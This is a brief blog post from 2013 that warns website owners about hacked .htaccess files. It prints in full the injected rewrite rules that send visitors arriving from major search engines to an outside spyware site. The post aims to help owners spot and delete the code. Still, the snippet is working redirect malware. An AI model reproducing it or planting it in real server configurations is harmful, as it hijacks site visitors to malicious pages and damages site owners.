Wednesday, February 13, 2013

.htaccess hack

Here is another piece of malicious code found in a .htaccess file. If you find it anywhere on your website, delete it immediately!

It redirects popular search engine bots to a malicious link and kill your SEO

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://spywareshop.info/0/go.php?sid=2 [R,L]

No comments:

Post a Comment